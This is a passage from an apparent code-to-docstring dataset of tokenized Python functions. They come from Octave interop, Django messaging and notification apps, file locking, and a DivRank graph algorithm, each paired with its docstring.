tuple):<EOL><INDENT>obj = np.empty(len(data), dtype=object)<EOL>for (i, item) in enumerate(data):<EOL><INDENT>obj[i] = _encode(item, ctf)<EOL><DEDENT>return obj<EOL><DEDENT>if isinstance(data, spmatrix):<EOL><INDENT>return data.astype(np.float64)<EOL><DEDENT>if not isinstance(data, np.ndarray):<EOL><INDENT>return data<EOL><DEDENT>if data.dtype.kind in '<STR_LIT>':<EOL><INDENT>out = np.empty(data.size, dtype=data.dtype)<EOL>for (i, item) in enumerate(data.ravel()):<EOL><INDENT>if data.dtype.names:<EOL><INDENT>for name in data.dtype.names:<EOL><INDENT>out[i][name] = _encode(item[name], ctf)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>out[i] = _encode(item, ctf)<EOL><DEDENT><DEDENT>return out.reshape(data.shape)<EOL><DEDENT>if data.dtype.name == '<STR_LIT>':<EOL><INDENT>return data.astype(np.complex128)<EOL><DEDENT>if ctf and data.dtype.kind in '<STR_LIT>':<EOL><INDENT>return data.astype(np.float64)<EOL><DEDENT>return data<EOL>", "docstring": "Convert the Python values to values suitable to send to Octave.", "id": "f426:m4"}
{"signature": "def _is_simple_numeric(data):", "body": "for item in data:<EOL><INDENT>if isinstance(item, set):<EOL><INDENT>item = list(item)<EOL><DEDENT>if isinstance(item, list):<EOL><INDENT>if not _is_simple_numeric(item):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif not isinstance(item, (int, float, complex)):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Test if a list contains simple numeric data.", "id": "f426:m5"}
{"signature": "def __new__(cls, value, session=None):", "body": "value = np.asarray(value)<EOL>if (value.shape[value.ndim - <NUM_LIT:1>] == <NUM_LIT:1>):<EOL><INDENT>value = value.squeeze(axis=value.ndim - <NUM_LIT:1>)<EOL><DEDENT>value = np.atleast_1d(value)<EOL>if not session:<EOL><INDENT>return value.view(cls)<EOL><DEDENT>obj = np.empty(value.size, dtype=value.dtype).view(cls)<EOL>for (i, item) in enumerate(value.ravel()):<EOL><INDENT>for name in value.dtype.names:<EOL><INDENT>obj[i][name] = _extract(item[name], session)<EOL><DEDENT><DEDENT>return obj.reshape(value.shape)<EOL>", "docstring": "Create a struct array from a value and optional Octave session.", "id": "f426:c1:m0"}
{"signature": "@property<EOL><INDENT>def fieldnames(self):<DEDENT>", "body": "return self.dtype.names<EOL>", "docstring": "The field names of the struct array.", "id": "f426:c1:m1"}
{"signature": "def __getattribute__(self, attr):", "body": "attr = np.recarray.__getattribute__(self, attr)<EOL>if isinstance(attr, np.ndarray) and attr.dtype.kind == '<STR_LIT:O>':<EOL><INDENT>return Cell(attr)<EOL><DEDENT>return attr<EOL>", "docstring": "Return object arrays as cells and all other values unchanged.", "id": "f426:c1:m2"}
{"signature": "def __getitem__(self, item):", "body": "item = np.recarray.__getitem__(self, item)<EOL>if isinstance(item, np.ndarray) and item.dtype.kind == '<STR_LIT:O>':<EOL><INDENT>return Cell(item)<EOL><DEDENT>return item<EOL>", "docstring": "Return object arrays as cells and all other values unchanged.", "id": "f426:c1:m3"}
{"signature": "def __new__(cls, value, session=None):", "body": "value = np.asarray(value, dtype=object)<EOL>if (value.shape[value.ndim - <NUM_LIT:1>] == <NUM_LIT:1>):<EOL><INDENT>value = value.squeeze(axis=value.ndim - <NUM_LIT:1>)<EOL><DEDENT>value = np.atleast_1d(value)<EOL>if not session:<EOL><INDENT>return value.view(cls)<EOL><DEDENT>obj = np.empty(value.size, dtype=object).view(cls)<EOL>for (i, item) in enumerate(value.ravel()):<EOL><INDENT>obj[i] = _extract(item, session)<EOL><DEDENT>return obj.reshape(value.shape)<EOL>", "docstring": "Create a cell array from a value and optional Octave session.", "id": "f426:c2:m0"}
{"signature": "@register.inclusion_tag(\"<STR_LIT>\", takes_context=True)<EOL>def stored_messages_list(context, num_elements=<NUM_LIT:10>):", "body": "if \"<STR_LIT:user>\" in context:<EOL><INDENT>user = context[\"<STR_LIT:user>\"]<EOL>if user.is_authenticated():<EOL><INDENT>qs = Inbox.objects.select_related(\"<STR_LIT:message>\").filter(user=user)<EOL>return {<EOL>\"<STR_LIT>\": qs[:num_elements],<EOL>\"<STR_LIT:count>\": qs.count(),<EOL>}<EOL><DEDENT><DEDENT>", "docstring": "Renders a list of unread stored messages for the current user", "id": "f444:m0"}
{"signature": "@register.assignment_tag(takes_context=True)<EOL>def stored_messages_count(context):", "body": "if \"<STR_LIT:user>\" in context:<EOL><INDENT>user = context[\"<STR_LIT:user>\"]<EOL>if user.is_authenticated():<EOL><INDENT>return Inbox.objects.select_related(\"<STR_LIT:message>\").filter(user=user).count()<EOL><DEDENT><DEDENT>", "docstring": "Renders a list of unread stored messages for the current user", "id": "f444:m1"}
{"signature": "@register.inclusion_tag(\"<STR_LIT>\", takes_context=True)<EOL>def stored_messages_archive(context, num_elements=<NUM_LIT:10>):", "body": "if \"<STR_LIT:user>\" in context:<EOL><INDENT>user = context[\"<STR_LIT:user>\"]<EOL>if user.is_authenticated():<EOL><INDENT>qs = MessageArchive.objects.select_related(\"<STR_LIT:message>\").filter(user=user)<EOL>return {<EOL>\"<STR_LIT>\": qs[:num_elements],<EOL>\"<STR_LIT:count>\": qs.count(),<EOL>}<EOL><DEDENT><DEDENT>", "docstring": "Renders a list of archived messages for the current user", "id": "f444:m2"}
{"signature": "@login_required<EOL>@api_view(['<STR_LIT:POST>'])<EOL>def mark_all_read(request):", "body": "from .settings import stored_messages_settings<EOL>backend = stored_messages_settings.STORAGE_BACKEND()<EOL>backend.inbox_purge(request.user)<EOL>return Response({\"<STR_LIT:message>\": \"<STR_LIT>\"})<EOL>", "docstring": "Mark all messages as read (i.e. delete from inbox) for current logged in user", "id": "f447:m0"}
{"signature": "@detail_route(methods=['<STR_LIT:POST>'])<EOL><INDENT>def read(self, request, pk=None):<DEDENT>", "body": "from .settings import stored_messages_settings<EOL>backend = stored_messages_settings.STORAGE_BACKEND()<EOL>try:<EOL><INDENT>backend.inbox_delete(request.user, pk)<EOL><DEDENT>except MessageDoesNotExist as e:<EOL><INDENT>return Response(e.message, status='<STR_LIT>')<EOL><DEDENT>return Response({'<STR_LIT:status>': '<STR_LIT>'})<EOL>", "docstring": "Mark the message as read (i.e. delete from inbox)", "id": "f447:c0:m2"}
{"signature": "def _get(self, *args, **kwargs):", "body": "messages, all_retrieved = super(StorageMixin, self)._get(*args, **kwargs)<EOL>if self.user.is_authenticated():<EOL><INDENT>inbox_messages = self.backend.inbox_list(self.user)<EOL><DEDENT>else:<EOL><INDENT>inbox_messages = []<EOL><DEDENT>return messages + inbox_messages, all_retrieved<EOL>", "docstring": "Retrieve unread messages for current user, both from the inbox and\nfrom other storages", "id": "f450:c0:m1"}
{"signature": "def add(self, level, message, extra_tags='<STR_LIT>'):", "body": "if not message:<EOL><INDENT>return<EOL><DEDENT>level = int(level)<EOL>if level < self.level:<EOL><INDENT>return<EOL><DEDENT>if level not in stored_messages_settings.STORE_LEVELS or self.user.is_anonymous():<EOL><INDENT>return super(StorageMixin, self).add(level, message, extra_tags)<EOL><DEDENT>self.added_new = True<EOL>m = self.backend.create_message(level, message, extra_tags)<EOL>self.backend.archive_store([self.user], m)<EOL>self._queued_messages.append(m)<EOL>", "docstring": "If the message level was configured for being stored and request.user\nis not anonymous, save it to the database. Otherwise, let some other\nclass handle the message.\n\nNotice: controls like checking the message is not empty and the level\nis above the filter need to be performed here, but it could happen\nthey'll be performed again later if the message does not need to be\nstored.", "id": "f450:c0:m2"}
{"signature": "def _store(self, messages, response, *args, **kwargs):", "body": "contrib_messages = []<EOL>if self.user.is_authenticated():<EOL><INDENT>if not messages:<EOL><INDENT>self.backend.inbox_purge(self.user)<EOL><DEDENT>else:<EOL><INDENT>for m in messages:<EOL><INDENT>try:<EOL><INDENT>self.backend.inbox_store([self.user], m)<EOL><DEDENT>except MessageTypeNotSupported:<EOL><INDENT>contrib_messages.append(m)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>super(StorageMixin, self)._store(contrib_messages, response, *args, **kwargs)<EOL>", "docstring": "persistent messages are already in the database inside the 'archive',\nso we can say they're already \"stored\".\nHere we put them in the inbox, or remove from the inbox in case the\nmessages were iterated.\n\nmessages contains only new msgs if self.used==True\nelse contains both new and unread messages", "id": "f450:c0:m3"}
{"signature": "def _prepare_messages(self, messages):", "body": "for message in messages:<EOL><INDENT>if not self.backend.can_handle(message):<EOL><INDENT>message._prepare()<EOL><DEDENT><DEDENT>", "docstring": "Like the base class method, prepares a list of messages for storage\nbut avoid to do this for `models.Message` instances.", "id": "f450:c0:m4"}
{"signature": "def perform_import(val, setting_name):", "body": "if isinstance(val, six.string_types):<EOL><INDENT>return import_from_string(val, setting_name)<EOL><DEDENT>elif isinstance(val, (list, tuple)):<EOL><INDENT>return [import_from_string(item, setting_name) for item in val]<EOL><DEDENT>return val<EOL>", "docstring": "If the given setting is a string import notation,\nthen perform the necessary import or imports.", "id": "f453:m0"}
{"signature": "def import_from_string(val, setting_name):", "body": "try:<EOL><INDENT>parts = val.split('<STR_LIT:.>')<EOL>module_path, class_name = '<STR_LIT:.>'.join(parts[:-<NUM_LIT:1>]), parts[-<NUM_LIT:1>]<EOL>module = importlib.import_module(module_path)<EOL>return getattr(module, class_name)<EOL><DEDENT>except ImportError as e:<EOL><INDENT>msg = \"<STR_LIT>\" % (val, setting_name,<EOL>e.__class__.__name__, e)<EOL>raise ImportError(msg)<EOL><DEDENT>", "docstring": "Attempt to import a class from a string representation.", "id": "f453:m1"}
{"signature": "def _toJSON(self, msg_instance):", "body": "return json.dumps(msg_instance._asdict(), cls=DjangoJSONEncoder)<EOL>", "docstring": "Dump a Message instance into a JSON string", "id": "f456:c0:m2"}
{"signature": "def _fromJSON(self, json_msg):", "body": "return Message(**json.loads(force_text(json_msg)))<EOL>", "docstring": "Return a Message instance built from data contained in a JSON string", "id": "f456:c0:m3"}
{"signature": "def _list_key(self, key):", "body": "ret = []<EOL>for msg_json in self.client.lrange(key, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>ret.append(self._fromJSON(msg_json))<EOL><DEDENT>return ret<EOL>", "docstring": "boilerplate", "id": "f456:c0:m4"}
{"signature": "def create_message(self, level, msg_text, extra_tags='<STR_LIT>', date=None, url=None):", "body": "if not date:<EOL><INDENT>now = timezone.now()<EOL><DEDENT>else:<EOL><INDENT>now = date<EOL><DEDENT>r = now.isoformat()<EOL>if now.microsecond:<EOL><INDENT>r = r[:<NUM_LIT>] + r[<NUM_LIT>:]<EOL><DEDENT>if r.endswith('<STR_LIT>'):<EOL><INDENT>r = r[:-<NUM_LIT:6>] + '<STR_LIT>'<EOL><DEDENT>fingerprint = r + msg_text<EOL>msg_id = hashlib.sha256(fingerprint.encode('<STR_LIT:ascii>', '<STR_LIT:ignore>')).hexdigest()<EOL>return Message(id=msg_id, message=msg_text, level=level, tags=extra_tags, date=r, url=url)<EOL>", "docstring": "Message instances are namedtuples of type `Message`.\nThe date field is already serialized in datetime.isoformat ECMA-262 format", "id": "f456:c0:m6"}
{"signature": "def create_message(self, level, msg_text, extra_tags, date=None):", "body": "raise NotImplementedError()<EOL>", "docstring": "Create and return a `Message` instance.\nInstance types depend on backends implementation.\n\nParams:\n    `level`: message level (see django.contrib.messages)\n    `msg_text`: what you think it is\n    `extra_tags`: see django.contrib.messages\n    `date`: a DateTime (optional)\n\nReturn:\n    `Message` instance", "id": "f457:c0:m0"}
{"signature": "def inbox_list(self, user):", "body": "raise NotImplementedError()<EOL>", "docstring": "Retrieve all the messages in `user`'s Inbox.\n\nParams:\n    `user`: Django User instance\n\nReturn:\n    An iterable containing `Message` instances", "id": "f457:c0:m1"}
{"signature": "def inbox_purge(self, user):", "body": "raise NotImplementedError()<EOL>", "docstring": "Delete all the messages in `user`'s Inbox.\n\nParams:\n    user: Django User instance\n\nReturn:\n    None", "id": "f457:c0:m2"}
{"signature": "def inbox_store(self, users, msg_instance):", "body": "raise NotImplementedError()<EOL>", "docstring": "Store a `Message` instance in the inbox for a list\nof users.\n\nParams:\n    users: a list or iterable containing Django User instances\n    msg_instance: Message instance to persist in inbox\n\nReturn:\n    None\n\nRaise:\n    MessageTypeNotSupported if `msg_instance` cannot be managed by current backend", "id": "f457:c0:m3"}
{"signature": "def inbox_delete(self, user, msg_id):", "body": "raise NotImplementedError()<EOL>", "docstring": "Remove a `Message` instance from `user`'s inbox.\n\nParams:\n    user: Django User instance\n    msg_id: Message identifier\n\nReturn:\n    None\n\nRaise:\n    MessageDoesNotExist if msg_id was not found", "id": "f457:c0:m4"}
{"signature": "def inbox_get(self, user, msg_id):", "body": "", "docstring": "Retrieve a `Message` instance from `user`'s inbox.\n\nParams:\n    user: Django User instance\n    msg_id: Message identifier\n\nReturn:\n    A `Message` instance\n\nRaise:\n    MessageDoesNotExist if msg_id was not found", "id": "f457:c0:m5"}
{"signature": "def archive_store(self, users, msg_instance):", "body": "raise NotImplementedError()<EOL>", "docstring": "Store a `Message` instance in the archive for a list\nof users.\n\nParams:\n    users: a list or iterable containing Django User instances\n    msg_instance: Message instance to persist in archive\n\nReturn:\n    None\n\nRaise:\n    MessageTypeNotSupported if `msg_instance` cannot be managed by current backend", "id": "f457:c0:m6"}
{"signature": "def archive_list(self, user):", "body": "raise NotImplementedError()<EOL>", "docstring": "Retrieve all the messages in `user`'s archive.\n\nParams:\n    user: Django User instance\n\nReturn:\n    An iterable containing `Message` instances", "id": "f457:c0:m7"}
{"signature": "def can_handle(self, msg_instance):", "body": "raise NotImplementedError()<EOL>", "docstring": "Determine if this backend can handle messages\nof the same type of `msg_instance`.\n\nParams:\n    `msg_instance`: `Message` instance\n\nReturn:\n    True if type is correct, False otherwise", "id": "f457:c0:m8"}
{"signature": "def expired_messages_cleanup(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Remove messages that have been expired.\n\nParams:\n    None\n\nReturn:\n   None", "id": "f457:c0:m9"}
{"signature": "def _flush(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Clear all backend data.\nWarning: heavily destructive! Here for convenience, not used by the API anyway.\n\nParams:\n    None\n\nReturn:\n    None", "id": "f457:c0:m10"}
{"signature": "def add_message_for(users, level, message_text, extra_tags='<STR_LIT>', date=None, url=None, fail_silently=False):", "body": "BackendClass = stored_messages_settings.STORAGE_BACKEND<EOL>backend = BackendClass()<EOL>m = backend.create_message(level, message_text, extra_tags, date, url)<EOL>backend.archive_store(users, m)<EOL>backend.inbox_store(users, m)<EOL>", "docstring": "Send a message to a list of users without passing through `django.contrib.messages`\n\n:param users: an iterable containing the recipients of the messages\n:param level: message level\n:param message_text: the string containing the message\n:param extra_tags: like the Django api, a string containing extra tags for the message\n:param date: a date, different than the default timezone.now\n:param url: an optional url\n:param fail_silently: not used at the moment", "id": "f463:m0"}
{"signature": "def broadcast_message(level, message_text, extra_tags='<STR_LIT>', date=None, url=None, fail_silently=False):", "body": "from django.contrib.auth import get_user_model<EOL>users = get_user_model().objects.all()<EOL>add_message_for(users, level, message_text, extra_tags=extra_tags, date=date, url=url, fail_silently=fail_silently)<EOL>", "docstring": "Send a message to all users aka broadcast.\n\n:param level: message level\n:param message_text: the string containing the message\n:param extra_tags: like the Django api, a string containing extra tags for the message\n:param date: a date, different than the default timezone.now\n:param url: an optional url\n:param fail_silently: not used at the moment", "id": "f463:m1"}
{"signature": "def mark_read(user, message):", "body": "BackendClass = stored_messages_settings.STORAGE_BACKEND<EOL>backend = BackendClass()<EOL>backend.inbox_delete(user, message)<EOL>", "docstring": "Mark message instance as read for user.\nReturns True if the message was `unread` and thus actually marked as `read` or False in case\nit is already `read` or it does not exist at all.\n\n:param user: user instance for the recipient\n:param message: a Message instance to mark as read", "id": "f463:m2"}
{"signature": "def mark_all_read(user):", "body": "BackendClass = stored_messages_settings.STORAGE_BACKEND<EOL>backend = BackendClass()<EOL>backend.inbox_purge(user)<EOL>", "docstring": "Mark all message instances for a user as read.\n\n:param user: user instance for the recipient", "id": "f463:m3"}
{"signature": "def get_version(package):", "body": "init_py = open(os.path.join(package, '<STR_LIT>')).read()<EOL>return re.search(\"<STR_LIT>\", init_py).group(<NUM_LIT:1>)<EOL>", "docstring": "Return package version as listed in `__version__` in `init.py`.", "id": "f465:m0"}
{"signature": "def get_version(package):", "body": "init_py = open(os.path.join(package, '<STR_LIT>')).read()<EOL>return re.search(\"<STR_LIT>\", init_py).group(<NUM_LIT:1>)<EOL>", "docstring": "Return package version as listed in `__version__` in `init.py`.", "id": "f466:m0"}
{"signature": "@login_required<EOL>def notice_settings(request):", "body": "notice_types = NoticeType.objects.all()<EOL>settings_table = []<EOL>for notice_type in notice_types:<EOL><INDENT>settings_row = []<EOL>for medium_id, medium_display in NOTICE_MEDIA:<EOL><INDENT>form_label = \"<STR_LIT>\" % (notice_type.label, medium_id)<EOL>setting = NoticeSetting.for_user(request.user, notice_type, medium_id)<EOL>if request.method == \"<STR_LIT:POST>\":<EOL><INDENT>if request.POST.get(form_label) == \"<STR_LIT>\":<EOL><INDENT>if not setting.send:<EOL><INDENT>setting.send = True<EOL>setting.save()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if setting.send:<EOL><INDENT>setting.send = False<EOL>setting.save()<EOL><DEDENT><DEDENT><DEDENT>settings_row.append((form_label, setting.send))<EOL><DEDENT>settings_table.append({\"<STR_LIT>\": notice_type, \"<STR_LIT>\": settings_row})<EOL><DEDENT>if request.method == \"<STR_LIT:POST>\":<EOL><INDENT>next_page = request.POST.get(\"<STR_LIT>\", \"<STR_LIT:.>\")<EOL>return HttpResponseRedirect(next_page)<EOL><DEDENT>settings = {<EOL>\"<STR_LIT>\": [medium_display for medium_id, medium_display in NOTICE_MEDIA],<EOL>\"<STR_LIT>\": settings_table,<EOL>}<EOL>return render_to_response(\"<STR_LIT>\", {<EOL>\"<STR_LIT>\": notice_types,<EOL>\"<STR_LIT>\": settings,<EOL>}, context_instance=RequestContext(request))<EOL>", "docstring": "The notice settings view.\n\nTemplate: :template:`notification/notice_settings.html`\n\nContext:\n\n    notice_types\n        A list of all :model:`notification.NoticeType` objects.\n\n    notice_settings\n        A dictionary containing ``column_headers`` for each ``NOTICE_MEDIA``\n        and ``rows`` containing a list of dictionaries: ``notice_type``, a\n        :model:`notification.NoticeType` object and ``cells``, a list of\n        tuples whose first value is suitable for use in forms and the second\n        value is ``True`` or ``False`` depending on a ``request.POST``\n        variable called ``form_label``, whose valid value is ``on``.", "id": "f476:m0"}
{"signature": "def can_send(self, user, notice_type):", "body": "from notification.models import NoticeSetting<EOL>return NoticeSetting.for_user(user, notice_type, self.medium_id).send<EOL>", "docstring": "Determines whether this backend is allowed to send a notification to\nthe given user and notice_type.", "id": "f480:c0:m1"}
{"signature": "def deliver(self, recipient, sender, notice_type, extra_context):", "body": "raise NotImplementedError()<EOL>", "docstring": "Deliver a notification to the given recipient.", "id": "f480:c0:m2"}
{"signature": "def get_formatted_messages(self, formats, label, context):", "body": "format_templates = {}<EOL>for fmt in formats:<EOL><INDENT>if fmt.endswith(\"<STR_LIT>\"):<EOL><INDENT>context.autoescape = False<EOL><DEDENT>format_templates[fmt] = render_to_string((<EOL>\"<STR_LIT>\" % (label, fmt),<EOL>\"<STR_LIT>\" % fmt), context_instance=context)<EOL><DEDENT>return format_templates<EOL>", "docstring": "Returns a dictionary with the format identifier as the key. The values are\nare fully rendered templates with the given context.", "id": "f480:c0:m3"}
{"signature": "def __init__(self, path, threaded=True):", "body": "self.path = path<EOL>self.lock_file = os.path.abspath(path) + \"<STR_LIT>\"<EOL>self.hostname = socket.gethostname()<EOL>self.pid = os.getpid()<EOL>if threaded:<EOL><INDENT>name = threading.current_thread().get_name()<EOL>tname = \"<STR_LIT>\" % quote(name, safe=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>tname = \"<STR_LIT>\"<EOL><DEDENT>dirname = os.path.dirname(self.lock_file)<EOL>self.unique_name = os.path.join(dirname,<EOL>\"<STR_LIT>\" % (self.hostname,<EOL>tname,<EOL>self.pid))<EOL>", "docstring": ">>> lock = LockBase(\"somefile\")\n>>> lock = LockBase(\"somefile\", threaded=False)", "id": "f484:c8:m0"}
{"signature": "def acquire(self, timeout=None):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Acquire the lock.\n\n* If timeout is omitted (or None), wait forever trying to lock the\n  file.\n\n* If timeout > 0, try to acquire the lock for that many seconds.  If\n  the lock period expires and the file is still locked, raise\n  LockTimeout.\n\n* If timeout <= 0, raise AlreadyLocked immediately if the file is\n  already locked.", "id": "f484:c8:m1"}
{"signature": "def release(self):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Release the lock.\n\nIf the file is not locked, raise NotLocked.", "id": "f484:c8:m2"}
{"signature": "def is_locked(self):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Tell whether or not the file is locked.", "id": "f484:c8:m3"}
{"signature": "def i_am_locking(self):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Return True if this object is locking the file.", "id": "f484:c8:m4"}
{"signature": "def break_lock(self):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Remove a lock.  Useful if a locking thread failed to unlock.", "id": "f484:c8:m5"}
{"signature": "def __enter__(self):", "body": "self.acquire()<EOL>return self<EOL>", "docstring": "Context manager support.", "id": "f484:c8:m6"}
{"signature": "def __exit__(self, *_exc):", "body": "self.release()<EOL>", "docstring": "Context manager support.", "id": "f484:c8:m7"}
{"signature": "def __init__(self, path, threaded=True):", "body": "LockBase.__init__(self, path, threaded)<EOL>if threaded:<EOL><INDENT>tname = \"<STR_LIT>\" % get_ident()<EOL><DEDENT>else:<EOL><INDENT>tname = \"<STR_LIT>\"<EOL><DEDENT>self.unique_name = os.path.join(<EOL>self.lock_file,<EOL>\"<STR_LIT>\".format(self.hostname, tname, self.pid)<EOL>)<EOL>", "docstring": ">>> lock = MkdirFileLock(\"somefile\")\n>>> lock = MkdirFileLock(\"somefile\", threaded=False)", "id": "f484:c10:m0"}
{"signature": "def get_notification_language(user):", "body": "if getattr(settings, \"<STR_LIT>\", False):<EOL><INDENT>try:<EOL><INDENT>app_label, model_name = settings.NOTIFICATION_LANGUAGE_MODULE.split(\"<STR_LIT:.>\")<EOL>model = models.get_model(app_label, model_name)<EOL>language_model = model._default_manager.get(user__id__exact=user.id)<EOL>if hasattr(language_model, \"<STR_LIT>\"):<EOL><INDENT>return language_model.language<EOL><DEDENT><DEDENT>except (ImportError, ImproperlyConfigured, model.DoesNotExist):<EOL><INDENT>raise LanguageStoreNotAvailable<EOL><DEDENT><DEDENT>raise LanguageStoreNotAvailable<EOL>", "docstring": "Returns site-specific notification language for this user. Raises\nLanguageStoreNotAvailable if this site does not use translated\nnotifications.", "id": "f485:m1"}
{"signature": "def send_now(users, label, extra_context=None, sender=None):", "body": "sent = False<EOL>if extra_context is None:<EOL><INDENT>extra_context = {}<EOL><DEDENT>notice_type = NoticeType.objects.get(label=label)<EOL>current_language = get_language()<EOL>for user in users:<EOL><INDENT>try:<EOL><INDENT>language = get_notification_language(user)<EOL><DEDENT>except LanguageStoreNotAvailable:<EOL><INDENT>language = None<EOL><DEDENT>if language is not None:<EOL><INDENT>activate(language)<EOL><DEDENT>for backend in NOTIFICATION_BACKENDS.values():<EOL><INDENT>if backend.can_send(user, notice_type):<EOL><INDENT>backend.deliver(user, sender, notice_type, extra_context)<EOL>sent = True<EOL><DEDENT><DEDENT><DEDENT>activate(current_language)<EOL>return sent<EOL>", "docstring": "Creates a new notice.\n\nThis is intended to be how other apps create new notices.\n\nnotification.send(user, \"friends_invite_sent\", {\n    \"spam\": \"eggs\",\n    \"foo\": \"bar\",\n)", "id": "f485:m2"}
{"signature": "def send(*args, **kwargs):", "body": "queue_flag = kwargs.pop(\"<STR_LIT>\", False)<EOL>now_flag = kwargs.pop(\"<STR_LIT>\", False)<EOL>assert not (queue_flag and now_flag), \"<STR_LIT>\"<EOL>if queue_flag:<EOL><INDENT>return queue(*args, **kwargs)<EOL><DEDENT>elif now_flag:<EOL><INDENT>return send_now(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>if QUEUE_ALL:<EOL><INDENT>return queue(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>return send_now(*args, **kwargs)<EOL><DEDENT><DEDENT>", "docstring": "A basic interface around both queue and send_now. This honors a global\nflag NOTIFICATION_QUEUE_ALL that helps determine whether all calls should\nbe queued or not. A per call ``queue`` or ``now`` keyword argument can be\nused to always override the default global behavior.", "id": "f485:m3"}
{"signature": "def queue(users, label, extra_context=None, sender=None):", "body": "if extra_context is None:<EOL><INDENT>extra_context = {}<EOL><DEDENT>if isinstance(users, QuerySet):<EOL><INDENT>users = [row[\"<STR_LIT>\"] for row in users.values(\"<STR_LIT>\")]<EOL><DEDENT>else:<EOL><INDENT>users = [user.pk for user in users]<EOL><DEDENT>notices = []<EOL>for user in users:<EOL><INDENT>notices.append((user, label, extra_context, sender))<EOL><DEDENT>NoticeQueueBatch(pickled_data=base64.b64encode(pickle.dumps(notices))).save()<EOL>", "docstring": "Queue the notification in NoticeQueueBatch. This allows for large amounts\nof user notifications to be deferred to a seperate process running outside\nthe webserver.", "id": "f485:m4"}
{"signature": "@classmethod<EOL><INDENT>def create(cls, label, display, description, default=<NUM_LIT:2>, verbosity=<NUM_LIT:1>):<DEDENT>", "body": "try:<EOL><INDENT>notice_type = cls._default_manager.get(label=label)<EOL>updated = False<EOL>if display != notice_type.display:<EOL><INDENT>notice_type.display = display<EOL>updated = True<EOL><DEDENT>if description != notice_type.description:<EOL><INDENT>notice_type.description = description<EOL>updated = True<EOL><DEDENT>if default != notice_type.default:<EOL><INDENT>notice_type.default = default<EOL>updated = True<EOL><DEDENT>if updated:<EOL><INDENT>notice_type.save()<EOL>if verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\" % label)<EOL><DEDENT><DEDENT><DEDENT>except cls.DoesNotExist:<EOL><INDENT>cls(label=label, display=display, description=description, default=default).save()<EOL>if verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\" % label)<EOL><DEDENT><DEDENT>", "docstring": "Creates a new NoticeType.\n\nThis is intended to be used by other apps as a post_syncdb manangement step.", "id": "f485:c1:m1"}
{"signature": "@not_implemented_for('<STR_LIT>')<EOL>def divrank(G, alpha=<NUM_LIT>, d=<NUM_LIT>, personalization=None,<EOL>max_iter=<NUM_LIT:100>, tol=<NUM_LIT>, nstart=None, weight='<STR_LIT>',<EOL>dangling=None):", "body": "if len(G) == <NUM_LIT:0>:<EOL><INDENT>return {}<EOL><DEDENT>if not G.is_directed():<EOL><INDENT>D = G.to_directed()<EOL><DEDENT>else:<EOL><INDENT>D = G<EOL><DEDENT>W = nx.stochastic_graph(D, weight=weight)<EOL>N = W.number_of_nodes()<EOL>for n in W.nodes_iter():<EOL><INDENT>for n_ in W.nodes_iter():<EOL><INDENT>if n != n_ :<EOL><INDENT>if n_ in W[n]:<EOL><INDENT>W[n][n_][weight] *= alpha<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if n_ not in W[n]:<EOL><INDENT>W.add_edge(n, n_)<EOL><DEDENT>W[n][n_][weight] = <NUM_LIT:1.0> - alpha<EOL><DEDENT><DEDENT><DEDENT>if nstart is None:<EOL><INDENT>x = dict.fromkeys(W, <NUM_LIT:1.0> / N)<EOL><DEDENT>else:<EOL><INDENT>s = float(sum(nstart.values()))<EOL>x = dict((k, v / s) for k, v in list(nstart.items()))<EOL><DEDENT>if personalization is None:<EOL><INDENT>p = dict.fromkeys(W, <NUM_LIT:1.0> / N)<EOL><DEDENT>else:<EOL><INDENT>missing = set(G) - set(personalization)<EOL>if missing:<EOL><INDENT>raise NetworkXError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % missing)<EOL><DEDENT>s = float(sum(personalization.values()))<EOL>p = dict((k, v / s) for k, v in list(personalization.items()))<EOL><DEDENT>if dangling is None:<EOL><INDENT>dangling_weights = p<EOL><DEDENT>else:<EOL><INDENT>missing = set(G) - set(dangling)<EOL>if missing:<EOL><INDENT>raise NetworkXError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % missing)<EOL><DEDENT>s = float(sum(dangling.values()))<EOL>dangling_weights = dict((k, v/s) for k, v in list(dangling.items()))<EOL><DEDENT>dangling_nodes = [n for n in W if W.out_degree(n, weight=weight) == <NUM_LIT:0.0>]<EOL>for _ in range(max_iter):<EOL><INDENT>xlast = x<EOL>x = dict.fromkeys(list(xlast.keys()), <NUM_LIT:0>)<EOL>danglesum = d * sum(xlast[n] for n in dangling_nodes)<EOL>for n in x:<EOL><INDENT>D_t = sum(W[n][nbr][weight] * xlast[nbr] for nbr in W[n])<EOL>for nbr in W[n]:<EOL><INDENT>x[nbr] += (<EOL>d * (W[n][nbr][weight] * xlast[nbr] / D_t) * xlast[n]<EOL>)<EOL><DEDENT>x[n] += danglesum * dangling_weights[n] + (<NUM_LIT:1.0> - d) * p[n]<EOL><DEDENT>err = sum([abs(x[n] - xlast[n]) for n in x])<EOL>if err < N*tol:<EOL><INDENT>return x<EOL><DEDENT><DEDENT>raise NetworkXError('<STR_LIT>'<EOL>'<STR_LIT>' % max_iter)<EOL>", "docstring": "Returns the DivRank (Diverse Rank) of the nodes in the graph.\nThis code is based on networkx.pagerank.\n\nArgs: (diff from pagerank)\n  alpha: controls strength of self-link [0.0-1.0]\n  d: the damping factor\n\nReference:\n  Qiaozhu Mei and Jian Guo and Dragomir Radev,\n  DivRank: the Interplay of Prestige and Diversity in Information Networks,\n  